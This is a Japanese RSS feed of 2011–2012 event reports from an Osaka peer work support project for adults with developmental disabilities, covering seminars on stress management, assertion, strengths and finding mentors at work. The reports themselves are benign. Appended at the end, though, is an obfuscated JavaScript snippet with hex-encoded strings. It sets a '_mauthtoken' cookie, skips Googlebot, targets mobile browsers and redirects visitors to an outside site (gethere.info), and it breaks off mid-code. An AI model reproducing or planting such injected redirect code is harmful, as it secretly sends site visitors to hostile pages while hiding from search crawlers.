2011年度 事業報告 – ぴあさぽ!なう http://piasapo.com 緊急雇用創出基金事業(重点分野雇用創出事業) 大阪府社会人ピアワークサポート事業 Sat, 08 Apr 2017 01:48:14 +0000 ja hourly 1 https://wordpress.org/?v=4.8.17 3月24日(土)「大阪府社会人ピアワークサポート事業報告会 大人の発達凸凹100人あるある」行いました! http://piasapo.com/2011jigyo_report/100aruaru_houkoku.html http://piasapo.com/2011jigyo_report/100aruaru_houkoku.html#respond Tue, 27 Mar 2012 10:16:52 +0000 http://piasapo.com/?p=2652 3月24日(土)に大阪府咲洲庁舎にて、
「大阪府社会人ピアワークサポート事業報告会 大人の発達凸凹100人あるある」を行いました!



大人の発達凸凹100人あるあるの記事が大阪日日新聞に掲載されました!



発達障害者 就労支援へ 府咲洲庁舎でイベント

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11月18日(金)第4回ピアリーダー養成講座(中級)報告 http://piasapo.com/2011jigyo_report/2011mid_chair/111118_report.html http://piasapo.com/2011jigyo_report/2011mid_chair/111118_report.html#respond Tue, 28 Feb 2012 01:59:40 +0000 http://piasapo.com/?p=2427 11月18日(金)18:30~北新地事務所にて、今年度4回目のピアリーダー養成講座(中級)が開催されました。



今回は、大阪府パーソナルサポート事業就労生活支援員の中桐康介氏を
講師に迎えて、パーソナルサポートを含めた中桐氏の活動についてお話頂きました。



1.きっかけ
中桐氏は、1995年冬、野宿者支援の夜回り活動中に当事者の死に直面したことをきっかけに、世の中と自分との関わりを考えるようになり、世の中の不条理に取り組んでいきたいとの思いを強くされました。そして、自らもテント生活をしながら、野宿者と同じ立場、視点での支援活動を、15年以上の長きに亘り続けてきた経験を持ちます。

2.オシテルヤ
2002年長居公園に引越し、「野宿者の人たちと一緒に生きていきたい。用が無くても訪ねてくる仲になりたい」との思いから、『オシテルヤ』(日本の古語・意味は「あまねく照らす」)というフリースペースを利用して、相談活動や居場所作り、農作業、野菜の販売、介護事業等を始めました。

3.就労支援の仕事
・野宿者の中で、若年層の増加が顕著になってきた。
・発達障がい、ニート、引きこもりへの関心が強まってきた。
等の理由で、2009年10月から就労支援事業に着手しました。

4.パーソナルサポート事業(PS事業)
就労支援の現場では、仕事の相談で来たものの生活基盤が安定していない人が多いことから、トータルなサポートの必要性が浮き彫りになってきました。制度主導ではなく、個人主導のオーダーメイドの支援を目指し、事業所で自前の働く場を作りました。働く場は、八百屋、喫茶店、弁当屋、レストラン、食堂、花屋等、多岐に亘ります。ここでは「中間労働市場」と呼ばれる就労体系が導入され、色んな段階を経験しながら、当人に応じた支援が受けられる仕組みになっています。

5.ケース事例
最後に、PS事業でのケーススタディについての説明がありました。
・以前は社会に包摂されていた発達障がい等が、失業により一挙に顕在化。グループホー
ム、生活保護を活用して支援。
・発達障がいとのことだったが、聞き取りにより虐待の事実が判明。支援方法を変更。

等、いくつもの事例が紹介されました。色んな支援策を調整して、その人に合わせて整え
ていく、PS事業の可能性を模索する日々です。

参加者からは、
・「ピアサポート=パーソナルサポート」だと思う。
・中桐さんの体験を元にされた話が感激です。

等の感想が寄せられました。
参加者の皆さん有難う御座いました。

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12月11日(日)第2回ピアリーダー養成講座(初級)報告 http://piasapo.com/2011jigyo_report/2011beginners_chair/111211_report.html http://piasapo.com/2011jigyo_report/2011beginners_chair/111211_report.html#respond Thu, 26 Jan 2012 05:12:14 +0000 http://piasapo.com/?p=2512 12月11日(日)、第2回‐ピアリーダー養成講座(初級)が、大阪NPOプラザE会議室にて開催されました。
今回の午後は「対人援助の考え方と相談の受け方」のテーマで講義を行った後、ワークを行いました。



先ず、ソーシャルワーカー全般についての解説の後、「対人援助の考え方と相談の受け方」
のついての話がありました。



ソーシャルワーカーは自分自身を深く理解し、上から指示・指導するのではなく、相談者
の人生に「伴走していく」のが役目であり、「人は必ず発達するし、自分で生きる力を持っている」
と信じて支援することが重要との話でした。

参加者の方からは、
「講師の体験談を聴き、自分の将来や支援者としての在り方を深く考えた」
「ソーシャルワーカーの役割の重要性を考えた」
「社会福祉の分野での基本姿勢が分かった」
等の感想が寄せられました。

次に、5~6人のグループを作ってのワークが行われました。
ワークシートに書かれた自分の相談内容に対し、他のメンバーが質問や解決策を書いて
いくというワークで、自分とは違った視点の意見が見られてとても良かったと大好評で
した。

以上、講師が大汗を掻きながらの懸命の講座でしたが(笑)、皆さんもワークまで真剣に
取り組まれ、楽しく充実した時間となりました。
参加者の皆さん有難う御座いました。

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10月21日(金)第3回ピアリーダー養成講座(中級)報告 http://piasapo.com/2011jigyo_report/2011mid_chair/111021_report.html http://piasapo.com/2011jigyo_report/2011mid_chair/111021_report.html#respond Thu, 26 Jan 2012 01:56:59 +0000 http://piasapo.com/?p=2341 10月21日(金)18:30~北新地事務所にて、今年度3回目のピアリーダー養成講座(中級)が開催されました。6名の方の参加となりました。



今回は、
〈1〉「社会的スキル尺度」についてのワーク
〈2〉「社会的スキル訓練(SST)と発達障がい」についての考察
〈3〉「感情曲線」についてのワーク
〈4〉まとめ
を行いました。



〈1〉「社会的スキル尺度」についてのワーク
・「社会的スキル」とは対人関係を保っていく為に有用な行動のことで、
 その為にはアサーションが重要である、という話になりました。
・アサーションとは、自分の思っていることを相手に上手に伝える方法のことです。
・アサーションが出来る為には、①自分が今どんな状況にいるか、②どんな気持ちなのか、
 ③「どうしたいか、どうしたらいいか」、を感じる力が必要。
・自分の気持ち自体を感じることをストップさせてしまっている人は、アサーションが出来ない。
 その人の本当の気持ち、欲望を掘り起こす必要がある。
 引きこもっている人は、本当の気持ちを無くしてしまっていることが多い。
という意見が出ました。

〈2〉「社会的スキル訓練(SST)と発達障がい」についての考察
・ピアリーダーが、当事者の「理解されにくい部分」を伝えられれば、よいモデルになる。
・その為には、「メタ認知」=「自分を客観的に見る力」が必要である。
 等の考察が共有されました。

〈3〉「私の感情曲線」についてのワーク
・生まれてから今までの自分の感情の浮き沈みを、グラフにするワーク。
・このワークは発達理論を元に作られましたが、発達障がいの場合、
 発達の理論+「元々の発達特性」を考慮する必要がある。
・ニート支援では、①同一性(自分が何者か)の確立が難しい「青年期(思春期)」が重要。②20代後半~30代半ばに気付いて、やり直せるといい。③支援者は「どこの段階で止まっているか」を考えて、そこまで戻ってあげる必要がある。といった意見交換がなされました。

〈4〉まとめ
☆ワークをやる時に大事なこと
 ・「自分はどうなのかな」と自分に意識が集中する、その感覚がとても重要。
☆アサーションが出来るためには
 ・とても緊迫した場面でも自分に意識を向けられるかどうか、
  今の心の状態を意識出来るかどうかが重要である。
 ・ピアリーダーになる人は「リラックスした状態で自分を意識する」事を
  日々練習する必要がある。
 ・「自分の状態を正確に把握出来ること」がとても大事である。

今回は〈1〉のワークが点数の出る形式だったこともあり、大いに盛り上がりました。
自分の傾向を振り返り、ピアリーダーとしての理解を深めることが出来た講座でした。
参加者の皆さん有難う御座いました。

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11月24日(木) 第5回ピアワークサポーターズセミナー報告 http://piasapo.com/2011jigyo_report/2011seminar/seminar11112.html http://piasapo.com/2011jigyo_report/2011seminar/seminar11112.html#respond Wed, 11 Jan 2012 05:46:42 +0000 http://piasapo.com/?p=2390 11月24日(木)エルおおさか3階の交流プラザにて、
18時半から第5回ピアワークサポーターズセミナーが開催されました。



今回は講師にベロ亭のお二人、岩国英子氏と米谷恵子氏をお招きして、
「独創的で自由な働き方」について、絵本や米谷氏の自作詩の朗読などを
交えながら語って頂きました。
参加者は22名と本当に多くの方にお越しいただきました。
会場の雰囲気も終始なごやかで、性質の違うお二人が、交互に思いを語る
かけあい漫才のようなやり取りに、皆さん真剣に聞きながらも笑いあり、
そして涙ありのあっという間の2時間でした。

今回のお話の内容はこの3点です。

1.お互いの長所を活かしながらの生活
2.ベロ亭やきものキャラバン
3.独創的で自由な働き方



1.お互いの長所を活かしながらの生活
二人が出会い、合わせて5人の子供を育てながらの生活の中で、レオ・レオーニの絵本
『フレデリック』を読み、英子さんは恵子さんのことを「彼女はやっぱりフレデリックだ」と
思ったそうです。「人には人の役割があって、それぞれ違うところがある」と英子さんは
言います。また、料理や雪かき、家の改装など二人での生活を通して
「人間できないことがあった方が、お互い助け合える」ということを実感したと話していました。
この話はやきものキャラバンにも繋がっていきます。

2.ベロ亭やきものキャラバン
英子さんがやきものを作り、恵子さんが企画して販売できるシステムを作る。というように
二人で助け合いながら、30年の長きにわたり活動を続けてこられました。
『ベロ亭やきものキャラバン』は「ギャラリーに偉そうに並べるんじゃなくて、人に手にとって
触ってもらいながらじかに売りたい」という英子さんの思いから始められて、既に全国600か所を
まわってこられたそうです。「ネットワークを通じて紹介してもらいながら次々に呼ばれる活動、
その開催先との交渉をするうちにコミュニケーション力がついてきた」と、発達障がいの
当事者である恵子さんは言います。「恵子さんのあらゆるケースを予測した依頼状もあって
よかったと思う」と英子さん。「キャラバンはやきものを売るだけじゃなくて、自分たちの
生き方を伝える表現の場でもあり、つながりを大事にしてネットワークを広げていく場」
とお二人は語っていました。

3.独創的で自由な働き方
「二人で失敗を繰り返しながらクリアしたりできなかったり、自己否定から立ち上がるのが
キャラバンだったりしたんじゃないかな」「メンターを探すとき性別を超えて探しても
いいんじゃないでしょうか。ふさわしい人は男女を問わず探したほうが選択肢広くなりますよね」
と恵子さん。「自分を不器用と思ってる人たちみんなで工房でも作ったらいいんじゃないかって。
不器用は自分の欲求によって消えてしまうようなことなんですよ」
「視点を変えて、働きに行くというやり方だけじゃなく、個人事業でもいいからやれることを
見つけてやっていく方法はあるんじゃないか」と英子さんは話していました。
でも「『独創的で自由な働き方』は決して楽しいことばかりではない」とお二人は言います。
セクシャルマイノリティー・レズビアンマザーとして、そして自死遺族としての側面を抱えながら
様々な困難を乗り越えて続けてきたお二人だからこそ、『独創的で自由』な働き方であり、
生き方になったのだと思います。

セミナーはまず、3年前、37歳で限りなく事故に近い形で命を絶ってしまった娘さん、のえさんの
歌を聴くところから始まりました。それまで18年間音楽活動を続けてこられたのえさん。
のえさんは当時大阪に住み、亡くなる2か月前に自閉症の診断を受けていたそうです。

それぞれが持つ違いや困難を分かち合い、共に人生のメンターとなったお二人、
「人にはそれぞれ違うところがある、それはかけがえのないこと」というメッセージが
お二人の人生観を通して伝わってきた濃密な内容のセミナーでした。



講師であるベロ亭お二人による「プエンテの会・ベロ亭日記」に、
今回のセミナーの話が寄せられています。
また独自にとられたベロ亭側のアンケートで、集計結果を公開しています。
感想などもたくさんあげられていて、とても充実したものになっています。
ご興味のある方は是非ご覧ください!

http://puentenokai.blog26.fc2.com/blog-entry-945.html

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http://piasapo.com/2011jigyo_report/2011seminar/seminar11112.html/feed 0
10月28日(金) 第4回ピアワークサポーターズセミナー報告 http://piasapo.com/2011jigyo_report/2011seminar/seminar111028.html http://piasapo.com/2011jigyo_report/2011seminar/seminar111028.html#respond Tue, 13 Dec 2011 01:26:36 +0000 http://piasapo.com/?p=2336 2011年10月28日(金) エルおおさか3Fにて、第4回ピアワークサポーターズセミナーが開催されました。



今回の参加者は16人。初参加の方も多く、当初予定していた講師の事情により急きょ当法人代表の広野ゆいが代役で講師を勤める事となりました。



2011年10月28日(金) エルおおさか3Fにて、第4回ピアワークサポーターズセミナーが開催されました。
今回の参加者は16人。初参加の方も多く、当初予定していた講師の事情により急きょ当法人代表の広野ゆいが代役で講師を勤める事となりました。

前半では【自分の「強み」の見つけ方】の講義を行いました。

1.1. 「強み」と「能力」の違いとは
「強み」とは自然と出来てしまう事、「能力」は努力によって出来るようになった事。一般的には「強み」より「能力」を高く評価する傾向があります。しかし、ゼロから能力を得ようとするよりも、元々持っている力を伸ばす方が少ない努力で総合的に大きな結果が得られるのではないでしょうか。

1.2. 「強み」の形成と「素の自分」
「強み」は生まれつきの特性ですが、周囲によって特性を抑えられ、成長と共に失われていく事もあります。強みを見つけるためには失った「素の自分」を見つめ直し、伸ばせる資質を選び出すことで「強み」を発掘できるのではと思われます。

1.3. 仕事に活かせる「強み」の見つけ方
仕事のためだけに強み探しをすると、視野が狭くなってしまいます。また、実社会では努力=評価とは限らないので、努力の方向やエネルギーを向ける所を選ぶ必要があります。大事なのは自分の能力を発揮できる環境を自分で選ぶ事です。

「強み」を探すために無理をするよりも、「素の自分」でいられる環境を見つけることが大事です。組織やチームを作る際には、できない所の指摘ばかりよりもできる所を伸ばすことを心がけることで、誰にとっても働きやすい環境=実力を発揮できる環境となります。そしてこれが個人の「強み」を発掘し、仕事に活かすという事になるのです。

後半では、自分の「強み」を生かせる環境を作るために必要なよりよい人間を築くための、【セルフ・アサーション・トレーニング】について話をしました。
アサーション・トレーニングでは、「自分を上手に表現する」・「人とより良い関係を築く」ためのコミュニケーションスキルを学び、自分の思考・感情・行動・健康についての結果を自分自身で受け止め、責任を持てるようになることを目標としています。
自分を上手に表現するアサーティブ行動につながる考え方を合理的な思考(ラショナルビリーフ)、人間関係を難しくする非アサーティブ行動につながる考え方を不合理な思考(イラショナルビリーフ)と呼びます。イラショナルビリーフリストを使って思考や認知の歪みに気付き、考え方を変えていく事で、自分もOK、相手もOKというアサーティブな人間関係を作ることが出来ます。
また、自分の行動を客観的に分析することで、いつアサーティブ行動を取るか自分で選べるようになります。

ストレスの多い現代ではアサーティブ行動を取れる人間の方が少なくなっています。自分を変えることで良い人間関係を築けるのだと知れば、自分を受け入れてくれる人も増え、一つ目のテーマにあった「強みを活かせる環境」も作りやすくなるのではないでしょうか。

今回のセミナーは、イレギュラーな事態となりましたが、ご参加いただいた方々には、「強みと能力の違いについて知ることができました」「アサーティブについての理解が深められました」といった感想も頂きスタッフ一同ほっとしております。

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10月14日(金)第4回ピアワークミーティング報告 http://piasapo.com/2011jigyo_report/2011meeting/meeting11114.html http://piasapo.com/2011jigyo_report/2011meeting/meeting11114.html#respond Tue, 22 Nov 2011 01:54:07 +0000 http://piasapo.com/?p=2257 10月14日(金)18時30分~北新地事務所にて、
今年度4回目のミーティングが開催されました。
総勢14名の参加となりました。
今回のテーマは、『職場の人間関係~メンターを探せ!~』です。



第1回ミーティング『ビジネスマナーって何?』で、
「ビジネスマナーを無理に身に付けても、仕事上のコミュニケーションには生かしにくい。
やはり職場の中で「相談できる人が必要」という話になりました。
その「相談相手になり、味方になってくれる人」が
今回のキーワードである「メンター」なのです。
では、「メンター」の定義とは何なのでしょうか?



「メンター」とは:
「優れた指導者、助言者、師匠、教育者、後見人、信頼のおける相談相手」のことです。
この「メンター」を探すために、以下の事について話し合いました。

1.メンターになって欲しい人とは?

・このままの自分を否定せずに受け入れてくれる人
・疲れない(にくい)相手・大事なのは、お互いに信用できる関係であること
当事者が「この人だったら言う事を聞ける」と感じられる人
・感覚的・直感的なものがとても重要
・長所を認めて、短所をフォローしてくれる人

2.「自分に正直でいる」ということ

・メンターは、「自分で決める・選ぶ」ということが非常に重要。
・自分で決めるためには、「自分に正直でいられること」がとても大事。
・「自分に正直」=「自分の特性を隠したり、取り繕ったりしない」でいられる、相手・場所を見つけよう。

3.どう探すか!
①観察する
・「自分がどう思われているか」という目で見ない。
・職場のキーマンを見つけて、自分に対してどう話すかを見る。
②誰が自分にとって楽か?
・一緒に居て安心できる人
・回りの人を「敵・味方」に分けず、1人だけに絞らない。依存しない。
・メンターは沢山いる。
③聞いてもらう・言わないと分かってもらえない。
・「この人楽だな」と思える人からアプローチしていき、
コミュニケーションをレベルアップしていく。
・時と場所を見極めて、自分の特性をカミングアウトする。

4.アドボケーターも必要
・コミュニケーションが苦手で、特性のカミングアウトや、
どうして欲しいかを言い辛いタイプの人の場合、
人の代弁・弁護をする人(アドボケーター)が必要。
・できないのにできる振りをしたりせず
「ありのままの自分でいる」=「自分に正直でいる」と助けてくれる人が出てくる。
・意識して「そのままでいる」ことで、自分の味方になってくれる
アドボケーターのサポートが得られ、職場で能力を発揮していけるのではないか。

5.ピアサポーターとメンター・アドボケーターについて
・大企業のメンター制度では、実務的な部分ではなく「気持ち」の部分を
支えることに主眼を置いている。
・当事者だからこそ、相手の困っている事が分かる。自分の通ってきた道だから分かる。
その意味で、社会人ピアワークサポーターは、メンター・アドボケーターになる事が可能。
職場でメンターの役割ができるピアサポーターをたくさん育成すれば、
いい会社、生きやすい社会になる。

6.まとめ:メンターの探し方のポイント
・コミュニケーションしやすい人を見つけていくことで、突破口が開ける。
・楽だと思える人に自分のやり方で伝えてみる、ということが第1歩になる。

以上、いつもながら、和やかな中にも真剣な、多岐に亘る議論が展開されました。
参加者の皆さん、有難う御座いました。
みんなでメンターを見つけましょう!メンターになりましょう!

 

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http://piasapo.com/2011jigyo_report/2011meeting/meeting11114.html/feed 0
9月16日(金)第2回ピアリーダー養成講座(中級)報告 http://piasapo.com/2011jigyo_report/2011mid_chair/110916_report.html http://piasapo.com/2011jigyo_report/2011mid_chair/110916_report.html#respond Fri, 04 Nov 2011 10:18:10 +0000 http://piasapo.com/?p=2195 9月16日(金)18:30~北新地事務所にて、今年度2回目の
ピアリーダー養成講座(中級)が開催されました。
ゲストの方を含め9名の参加となりました。



今回は第1部として、大阪府雇用対策課総括主査の山本恭一氏を迎えて、
ニート、発達障がいを取り巻く現状やその対策について話し合いました。
第2部は、当法人代表の広野ゆいが、「ピアサポートにおける個別支援」
についての講義を行いました。


第1部は、以下の内容等について話し合いました。

1.「当事者間の親和性=当事者間だからこそ分かり合える部分」が
非常に重要である。
社会人のピアワークサポーターが生活するあらゆる所にいれば、
ニート、発達障がいの人が
働き易く生活し易い社会になる。
2.ピアサポーターが、各々の職業のプロという立場で、今困っている人に
アプローチでき、
それが無限に広がるような仕組み作り=制度化が必要である。
3.人脈による紹介・就職が出来るよう、ピアサポーター300人が出口となり、
本人を見た中での
結び付け、マッチングが理想。

ということを中心に、社会、行政、個人を含めた、多岐に亘るハイレベル且つ
時に笑いに包まれる、ウイットに富んだ議論が展開されました。

第2部は
1.ピアサポートの有効性と注意点
2.ニーズ優先思考によるサポート

についての講義でした。

1.は、ピアだからこそ築ける信頼関係や、逆に仲間感覚故に距離が取りにくい等の点について。
2.は、本人の自己実現ニーズを抽出して、人生を再構築する上での最重要事項は
「自己決定」であること。その自己決定を可能にする為のお手伝いをするのが、
ピアサポーターの役割であるという点について。

具体的には、本人の決めた事柄を即座に否定せずに寄り添うこと。本人のニードと支援者の
提示をうまくミックスし、真ニード(真に求めているもの)を明らかにすること。その為には、
やはり最初にどこまで信頼関係が結べるかが鍵となること。等が講義されました。

第1部・第2部合計2時間半に及ぶ講座でしたが、休憩中も議論は途切れることが無く、
皆さんの真剣さが伝わってくる、とてもいい時間となりました。
ピアとは何か、ピアリーダーとして目指す地点はどこか、を共有出来た貴重な時間でした。

参加者の皆さん、ありがとうございました。

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http://piasapo.com/2011jigyo_report/2011mid_chair/110916_report.html/feed 0
9月30日(金) 第3回ピアワークサポーターズセミナー報告 http://piasapo.com/2011jigyo_report/2011seminar/seminar110930.html http://piasapo.com/2011jigyo_report/2011seminar/seminar110930.html#respond Wed, 19 Oct 2011 02:40:35 +0000 http://piasapo.com/?p=2107 9月30日(金)エルおおさか3階の交流プラザにて、18時半から第3回ピアワークサポーターズセミナーが開催されました。



今回は講師に産業カウンセラーやキャリアコンサルタントして活躍されている加藤ゆみ氏をお招きして、「セルフコントロール~ストレスマネジメント~」について講義を行って頂きました。参加者は17名にも上り、ワーク等で盛り上がり随分賑やかとなりました。

さて、講義の内容のポイントは

1.メンタルヘルス
2.ストレスについて
3.ストレスへの対処
の3点です。


1.メンタルヘルス

メンタルヘルスといえども心の健康だけでなく体も健康である事が理想です。そのためには、人間関係が上手くできているか、毎日の活動の1つ1つの事が問題なくやれているか、そして自分自身の現実をきちんと受け止められているかという事が大事です。しかし現実に労働者の三分の二が強い不安や悩みストレスを感じており、自殺者は13年連続で三万人を超えています。理由のない頭痛や胃腸炎などストレスによって起こる症状は誰にでもあるものです。
では、そんな健康を侵し、最悪命を奪っていくストレスとは何でしょうか?

2.ストレスについて

ストレスを感じる時とはいつでしょう?疲れてしまった時、対人関係で困った事が起きた時、騒音でも実は感じます。そういうストレスの原因となるものをストレッサーと呼びます。実はある程度のストレスは生産性を上げて、目標達成を通じて自信をつける効果があります。これをいいストレス、快ストレスと言います。しかし、ある程度が超えると精神的な重圧や自責にかられてしまいます。これは悪いストレス、不快ストレスと言います。
ストレスの原因は様々ですが、聞いていくと影に人間関係が隠れている事がほとんどなんだとか。
そういう事からもコミュニケーションは非常に大事だとも言います。
そんなストレスを溜めていくと、ストレス反応として体には過敏性腸症候群や肩こり、頭痛として。職場では遅刻や仕事のミスが増えていきます。プライベートではお酒の量が増えたり、人と会うのが億劫になったりします。
自分特有のストレス反応を把握し、それが現れたら自分がオーバーを起こしていると知る事が大切です。

◆広野さんの一口講座◆
特性として常にミスをしてしまう人がいるのが発達障がい。それだけで平均的なレベルのストレスを超えてしまっています。しかもがんばって個人的な成功や昇進などの本来プラスになる事も更なる負担となってしまう人もいます。こういう事からもベースとなる特性そのものが大きなものなのではないかと考えられます。でも大丈夫です。工夫によって減らす事も可能です。

3.ストレスへの対処

ではオーバーしないためにも、ストレスへの対処法を考える必要があります。Rest,Relaxation,Recreationという「ストレス対策の三つのR」というのはご存じでしょうか?その内Relaxationにあたる呼吸法を実際参加者の方々にやって頂きました。呼吸法やヨガ、体操等は、ストレス耐性をつけると言われているそうです。実際呼吸法をやった方からは「落ち着いた」という感想もでました。では、なぜ落ち着くのか。自律神経には交感神経と副交感神経の二種類があります。人は昼間等活発に動く時は交感神経が働いています。逆にゆっくりと過ごしている時は副交感神経が働いています。呼吸法は、交感神経のスイッチを切り、副交感神経を働かせる効果があります。なのでリラックスしたり、落ち着いたりします。
他にも、考え方や受け止め方(認知)のクセが自分のストレスになっている場合もあります。何事も白黒にハッキリつけたい完璧主義や、何でも自分のせいとしてしまう人。「ねばならない」と考えてしまう人。どうしようもない、とどんどんマイナスに考えてしまう人。そういった自分の考えの癖というのは簡単には直りません。しかし、考え方などの癖を自覚して他の考え方を模索したり、人に相談するなどして根気よく続ければ認知を変えて行く事は必ずできます。そして、やはり定番ではありますがとても重要なのが相談できる人や場を持つ事です。
この後に、参加者の方々にエゴグラムを通して自分の状態を把握し、よりストレスを軽減するにはどう変わって行けばいいかを考えて頂きました。

◆広野さんの一口講座◆
努力や認知を変えても、ミスを繰り返してしまう人間は世の中にいます。そういう時に上司や周囲の人々に「もしかしたら何かあるのかな?」と気づいてもらえるかどうかはすごく大事です。そういう人間もいるんだ、と周囲にわかってもらえる事。そして自分の考え方を変えて行く、という二つが揃って初めて超えにくい困難の壁も乗り越えられるのではないだろうかと思います。

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9月9日(金)第3回ピアワークミーティング報告 http://piasapo.com/2011jigyo_report/meeting110909.html http://piasapo.com/2011jigyo_report/meeting110909.html#respond Thu, 06 Oct 2011 05:23:28 +0000 http://piasapo.com/?p=2051 まだまだ暑さのある9月9日の夕方。今回スタッフを含め、総勢21名が参加し、
北新地サロンは人でいっぱいの運びとなりました。

今回のテーマは「得意なことは仕事に生かせるのか」です。
テーマとしてもかなり興味をそそることは、今回の参加人数によく表れたと思います。


 
今回の話の流れとして、
まず得意なことと出来ることというのは同じかということが話し合われました。
その後は、好きなことや出来ること、またそれを踏まえて仕事における発達障がいの
特性などを軸に、様々な意見が取り交わされました。

では順に追っていきましょう。

◆得意と出来ることの違い

まず得意なことと出来ることの違いが話し合われました。結果次のような意見が出てきました。

◎得意とは
・自分が出来ると思っていること。
・会社や社会から必要とされていると思っていること。

◎出来るとは
・人の判断によるもの。
・他人や会社や社会が必要としていること。

このように、得意なことと出来ることは、必ずしもイコールではないとなりました。

しかし、かといって無関係という訳でもはなく、得意だと感じている事を仕事でもさせてもらえたとしても、それが出来るかというと、発達障がい当事者にとっては、かなりハードルが高いのではないかというのが、ファリシテーターの広野の意見でした。

 

◆「好きなことと仕事」と「仕事における発達障がい」

この後、議題は「好きなこと」を中心に話が展開しました。
多くの方が自分の好きなことがあるけれど、
それがそのまま仕事につながるわけではない事が分かっているがゆえに、
ではどうしたらいいのかという感じが伝わってきました。

◎好きなことと仕事
・自分の好きなことにぴったり当てはめようとすると、
「ここが当てはまらない」⇒「もうムリだ!」となる(ゼロヒャク思考)
・大半の人が得意なこと、好きなことをできていない
・絶対に嫌な仕事というものはある。どこまでガマンできるか
・芸術をする上で、自分はこの程度だと無難にわりきれるのは悪い事ではない
・好きなことで仕事に出来るか?生かせるか? = ゴハンが食べられるか
・好きなことと出来ることは違うという事をちゃんとわかっているかどうか⇒大前提

次は仕事と発達障がいをまとめたものです。
参加者の方はある程度社会に出て、色々な経験を持っているというのが大半でした。
だからこそ、難しいながらも納得のいく意見が出そろいました。

◎仕事における発達障がい
・自分が出来ないと思い込んで、チャレンジする前からあきらめて、自分で自分をつぶしてしまう
・思っていたのと違ったと言わず、もうちょっと頑張ってみる
・求める側の欲しいものをサラッとやってくれる人の方が、すごく評価が高い
・企業で働く場合、その組織が求めていることを出来なくてはいけない
・こだわりすぎて仕事が遅れるようだと、特性を生かしきれているとは言えない
・簡単そうで発達障がいの人がひっかかるポイント
(見間違い、聞き違い、脳内変換)⇒ これが自ら対処できると、すごく出来ることが生かされてくる
・出来る部分を生かすために、自分が出来ないことを人に頼んで組む能力が大事。
でもそれに対して、すごいコミュニケーションが必要なわけじゃないということを知る。

 

◆今回のまとめ

具体的な「得意」というキーワードから、抽象的な「好き」というものに移りましたが、
非常に実際的なところで話ができていました。

まとめとしては、

1.仕事の中に好きなポイントをどれだけたくさん見つける事が出来るか
2.出来ることに結びつくにはどうすればよいか
3.それらをまわりから出来るという評価をもらう
4.求められていることを求められているようにするということが仕事。

となりました!

今回のミーティングは遠方からも参加者の方が来られました。
今年度に入って最も白熱したミーティングで、スタッフ共々充実感でいっぱいです。
ご参加いただいたサポーターの皆さま、お疲れさまでした。
ありがとうございました!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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